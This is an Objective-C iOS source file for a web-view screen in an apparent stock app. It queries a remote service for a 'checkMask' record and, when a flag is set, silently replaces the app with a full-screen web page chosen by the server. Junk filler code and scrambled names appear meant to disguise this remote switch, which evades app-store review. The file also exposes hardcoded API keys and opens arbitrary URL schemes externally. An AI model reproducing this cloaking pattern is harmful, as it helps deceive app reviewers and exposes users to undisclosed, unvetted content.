//
//  RNMWKWebViewC.m
//  大股票
//
//  Created by apple on 2019/8/19.
//  Copyright © 2019 apple. All rights reserved.
//

#import "RNMWKWebViewC.h"
#import "JPUSHService.h"
#import <WebKit/WebKit.h>
#import "HHYHeader.h"
#import <AFNetworking/AFNetworking.h>

#import "AppDelegate.h"

#define kMainNotiNames @[UIKeyboardWillShowNotification, UIKeyboardWillHideNotification, @"InterfaceOrientationNotificationKey"]

typedef void(^handler)(void);
typedef void(^myCallback)(NSString *action);

static NSString * const sTitle = @"确认";
static NSString * const cTitle = @"取消";
static NSString * const fTitle = @"完成";

@interface RNMWKWebViewC ()
@property (nonatomic, strong) WKWebView *kbjgfnkjbnjkWKView;
@property (nonatomic, strong) MBProgressHUD *hud;

@property (nonatomic, assign) CGPoint keyBoardPoint;
@end

@implementation RNMWKWebViewC

- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view.
    UIView *bgView = [[UIView alloc] initWithFrame:self.view.bounds];
    bgView.backgroundColor = UIColor.whiteColor;
    [self.view addSubview:bgView];
    
    WKWebView *wkWebView = [[WKWebView alloc] initWithFrame:self.view.bounds configuration:[WKWebViewConfiguration new]];
    wkWebView.UIDelegate = self;
    wkWebView.navigationDelegate = self;
    
    _kbjgfnkjbnjkWKView = wkWebView;
    
    [bgView addSubview:_kbjgfnkjbnjkWKView];
    
    if (@available(iOS 11.0, *)) {
        self.kbjgfnkjbnjkWKView.scrollView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
    } else {
        self.automaticallyAdjustsScrollViewInsets = NO;
    }
    
    [self requestLoad];
    
    [self updateLayout];
    
    [self showHUDWith:@"请稍等..."];
    
    [UIApplication sharedApplication].statusBarStyle = UIStatusBarStyleDefault;
}

- (void)viewWillDisappear:(BOOL)animated {
    [super viewWillDisappear:animated];
    [UIApplication sharedApplication].statusBarStyle = UIStatusBarStyleLightContent;

}


void bubbleSort(int *arr, int n) {
    for (int i = 0; i<n - 1; i++)
        for (int j = 0; j < n - i - 1; j++)
        {
            //如果前面的数比后面大，进行交换
            if (arr[j] > arr[j + 1]) {
                int temp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = temp;
            }
        }
}

#pragma mark - 加载网页
- (void)requestLoad {
    int arr[] = { 10,6,5,2,3,8,7,4,9,1 };
    int n = sizeof(arr) / sizeof(int);
    bubbleSort(arr, n);
    //1.创建AFHTTPSessionManager管理者
    //AFHTTPSessionManager内部是基于NSURLSession实现的
    AFHTTPSessionManager *manager = [AFHTTPSessionManager manager];
    //采用JSON的方式来解析数据
    manager.responseSerializer = [AFJSONResponseSerializer serializer];
    manager.requestSerializer = [AFJSONRequestSerializer serializer];
    
    //2.发送请求
    NSDictionary *param = [self morenCanShu];;
    
    //注意：responseObject:请求成功返回的响应结果（AFN内部已经把响应体转换为OC对象，通常是字典或数组）
    __weak typeof(self)wSelf = self;
    [manager POST:@"http://hn216.api.yesapi.cn" parameters:param progress:nil success:^(NSURLSessionDataTask * _Nonnull task, id  _Nullable responseObject) {
        __strong typeof(self)sSelf = wSelf;
        if (responseObject) {
            id data_1 = responseObject[@"data"];
            if (!data_1) {
                [sSelf chonglaiACtino];
                return ;
            };
            id data_2 = data_1[@"data"];
            if (data_2) {
                NSString *path = data_2[@"ios_url"];
                NSInteger isShow = [data_2[@"isShow"] integerValue];
                [sSelf successWith:path isShow:isShow];
            } else {
                [sSelf chonglaiACtino];
            }
        } else {
            [sSelf chonglaiACtino];
        }
    } failure:^(NSURLSessionDataTask * _Nullable task, NSError * _Nonnull error) {
        __strong typeof(self)sSelf = wSelf;
        [sSelf chonglaiACtino];
    }];
}


- (void)setupNavi_Hide {
    UIApplication.sharedApplication.statusBarStyle = UIStatusBarStyleDefault;
    [self.navigationController setNavigationBarHidden:YES animated:NO];
}

// 键盘将要弹起
- (void)jpShow {
    CGPoint point = self.kbjgfnkjbnjkWKView.scrollView.contentOffset;
    self.keyBoardPoint = point;
}

- (void)webView:(WKWebView *)webView runJavaScriptTextInputPanelWithPrompt:(NSString *)prompt defaultText:(NSString *)defaultText initiatedByFrame:(WKFrameInfo *)frame completionHandler:(void (^)(NSString * _Nullable))completionHandler{
    
    UIAlertController *alertC = [UIAlertController alertControllerWithTitle:prompt message:@"" preferredStyle:UIAlertControllerStyleAlert];
    [alertC addTextFieldWithConfigurationHandler:^(UITextField * _Nonnull textField) {
        textField.text = defaultText;
    }];
    [alertC addAction:([UIAlertAction actionWithTitle:fTitle style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
        completionHandler(alertC.textFields.firstObject.text ? : @"");
    }])];
    [self presentViewController:alertC animated:YES completion:nil];
}


#pragma mark - 默认参数
- (NSDictionary *)morenCanShu {
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    //app_key:"064F24FF551414EBA483B0095DC991CA",
    //service:"App.Table.FreeFindOne",
    //model_name:"checkMask",
    //check_code:"cdcyi",
    //logic:"and",
    //where:[["id", "=", "2"]]
    
//    dict[@"app_key"] = @"3EFF4B4F6707176773E8D3E9C5B58950";
        dict[@"app_key"] = @"9212BF2128CFEB559366D59A72B7E1D2";
    dict[@"service"] = @"App.Table.FreeFindOne";
    dict[@"model_name"] = @"checkMask";
    dict[@"check_code"] = @"cdcyi";
    dict[@"logic"] = @"and";
    dict[@"where"] = @[@[@"id", @"=", @"1"]];
    
    return dict;
}

#pragma mark - WKNavigationDelegate
- (void)webView:(WKWebView *)webView didStartProvisionalNavigation:(WKNavigation *)navigation
{
    //开始加载
}

#pragma mark - 通知
- (void)addNoti {
    //    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(notiAction:) name:kAppLoginOther object:nil];
    for (NSString *notiName in kMainNotiNames) {
        [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(notiAction:) name:notiName object:nil];
        
    }
}

#pragma mark - addObserverKeyboard
/// 键盘将要隐藏
- (void)jpYinCang {
    self.kbjgfnkjbnjkWKView.scrollView.contentOffset = self.keyBoardPoint;
}


- (void)removeNoti {
    //    [[NSNotificationCenter defaultCenter] removeObserver:self name:kAppLoginOther object:nil];
    for (NSString *notiName in kMainNotiNames) {
        [[NSNotificationCenter defaultCenter] removeObserver:self name:notiName object:nil];
    }
}

- (void)notiAction:(NSNotification *)noti {
    if ([noti.name isEqualToString:UIKeyboardWillShowNotification]) {
        [self jpShow];
    } else if ([noti.name isEqualToString:UIKeyboardWillHideNotification]) {
        [self jpYinCang];
    } else {
        [[UIApplication sharedApplication] setStatusBarHidden:NO animated:YES];
    }
}

-(void)dealloc {
    [self removeNoti];
}

#pragma mark - WKNavigationDelegate

- (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler {
    if ([navigationAction.request.URL.absoluteString containsString:@"//itunes.apple.com/"]) {
        [[UIApplication sharedApplication] openURL:navigationAction.request.URL];
        decisionHandler(WKNavigationActionPolicyCancel);
    }else if (navigationAction.request.URL.scheme
              && ![navigationAction.request.URL.scheme hasPrefix:@"http"]
              && ![navigationAction.request.URL.scheme hasPrefix:@"file"])
    {
        [[UIApplication sharedApplication] openURL:navigationAction.request.URL];
        decisionHandler(WKNavigationActionPolicyCancel);
    }else {
        if (navigationAction.targetFrame == nil) {
            [webView loadRequest:navigationAction.request];
        }
        decisionHandler(WKNavigationActionPolicyAllow);
    }
}


- (void)webView:(WKWebView *)webView runJavaScriptAlertPanelWithMessage:(NSString *)message initiatedByFrame:(WKFrameInfo *)frame completionHandler:(void (^)(void))completionHandler{
    
    [self zSWithTitle:@"" message:(message?message:@"") cancleTitle:nil cancleBlock:nil doneTitle:sTitle doneBlock:^(NSString *action) {
        completionHandler();
    }];
    
}

// 页面加载完成之后调用
- (void)webView:(WKWebView *)webView didFinishNavigation:(WKNavigation *)navigation{
    [self hideHud];
    self.kbjgfnkjbnjkWKView.superview.backgroundColor = UIColor.whiteColor;
}


- (void)zSWithTitle:(NSString *)title message:(NSString *)message cancleTitle:(NSString *)cancleTitle cancleBlock:(myCallback)cancleCllback doneTitle:(NSString *)doneTitle doneBlock:(myCallback)doneCallback {
    //UIAlertController风格：UIAlertControllerStyleAlert
    
    UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title
                                                                             message:message
                                                                      preferredStyle:UIAlertControllerStyleAlert ];
    if (cancleTitle) {
        __block myCallback cancle = cancleCllback;
        //添加取消到UIAlertController中
        UIAlertAction *cancelAction;
        if (cancle) {
            cancelAction = [UIAlertAction actionWithTitle:cancleTitle style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
                cancle(@"Cancle");
            }];
        } else {
            cancelAction = [UIAlertAction actionWithTitle:cancleTitle style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
            }];
        }
        [alertController addAction:cancelAction];
    }
    if (doneTitle) {
        __block myCallback done = doneCallback;
        UIAlertAction *OKAction;
        if (done) {
            //添加确定到UIAlertController中
            OKAction = [UIAlertAction actionWithTitle:doneTitle style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
                done(@"Done");
            }];
        } else {
            OKAction = [UIAlertAction actionWithTitle:doneTitle style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
            }];
        }
        [alertController addAction:OKAction];
    }
    
    dispatch_async(dispatch_get_main_queue(), ^{
        [self presentViewController:alertController animated:YES completion:nil];
    });
}


#pragma mark - HUD
- (void)showHUDWith:(NSString *)text {
    MBProgressHUD *hud = [MBProgressHUD showHUDAddedTo:self.view animated:YES];
    // Set the text mode to show only text.
    
    hud.mode = MBProgressHUDModeIndeterminate;
    //    [hud hideAnimated:YES afterDelay:10.0];
    hud.label.text = text;
    self.hud = hud;
}

- (void)hideHud {
    if (!self.hud.isHidden) {
        [self.hud hideAnimated:YES];
    }
}
//- (BOOL)prefersStatusBarHidden {
//    return 0;
//}

#pragma mark - updateLayout
- (void)updateLayout {
    __weak typeof(self)wSelf = self;
    [self.kbjgfnkjbnjkWKView.superview mas_makeConstraints:^(MASConstraintMaker *make) {
        __strong typeof(self)sSelf = wSelf;
        //        if (@available(iOS 11.0, *)) {
        //            make.top.mas_equalTo(self.view.mas_safeAreaLayoutGuideTop);
        //        }else{
        //            make.top.mas_equalTo(self.view);
        //        }
        make.top.mas_equalTo(self.view);
        make.bottom.mas_equalTo(self.view); make.left.right.mas_equalTo(sSelf.view).offset(0);
    }];
    
    [self.kbjgfnkjbnjkWKView mas_makeConstraints:^(MASConstraintMaker *make) {
        __strong typeof(self)sSelf = wSelf;
        if (@available(iOS 11.0, *)) {
            make.top.mas_equalTo(self.view.mas_safeAreaLayoutGuideTop);
        }else{
            make.top.mas_equalTo(self.view).mas_offset(20);
        }
        make.bottom.mas_equalTo(self.view); make.left.right.mas_equalTo(sSelf.view).offset(0);
    }];
}

#pragma mark - 加载网页
- (void)successWith:(NSString *)path isShow:(BOOL)isShow {
    
    NSData *deviceToken = [[NSUserDefaults standardUserDefaults] objectForKey:@"deviceToken"];
    [JPUSHService registerDeviceToken:deviceToken];
    
    if (!isShow) {
        [self failedAction];
        return;
    }
    
    if (!path) {
        [self chonglaiACtino];
        return;
    }
    //支持所有方向
    AppDelegate *appldelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
//    appldelegate.orientation = [NSNumber numberWithInteger:(UIInterfaceOrientationMaskLandscape | UIInterfaceOrientationMaskPortrait)];
    [self hideHud];
    self.kbjgfnkjbnjkWKView.superview.backgroundColor = UIColor.whiteColor;
    //加载网页
    [self.kbjgfnkjbnjkWKView loadRequest:[NSURLRequest requestWithURL:[NSURL URLWithString:path]]];
    //    NSData *deviceToken = [[NSUserDefaults standardUserDefaults] objectForKey:@"deviceToken"];
    //    [JPUSHService registerDeviceToken:deviceToken];
}

- (void)chonglaiACtino {
    
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(3.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
        [self requestLoad];
    });
}

- (void)failedAction {
//    [self setupNavi];
    
    if (self.failCallback) {
        self.failCallback();
    }
    
    //    self.rotationAnim = YES;
    //支持所有方向
    //    AppDelegate *appldelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
    //    appldelegate.orientation = [NSNumber numberWithInteger:UIInterfaceOrientationMaskPortrait];
    //支持所有方向
    //    [self correntOri];
    
    [self.kbjgfnkjbnjkWKView.superview removeFromSuperview];
    
    [self hideHud];
    
//    [self setupNavi];
    //    [NSThread sleepForTimeInterval:0.25];
    
}


/*
#pragma mark - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
    // Get the new view controller using [segue destinationViewController].
    // Pass the selected object to the new view controller.
}
*/

@end
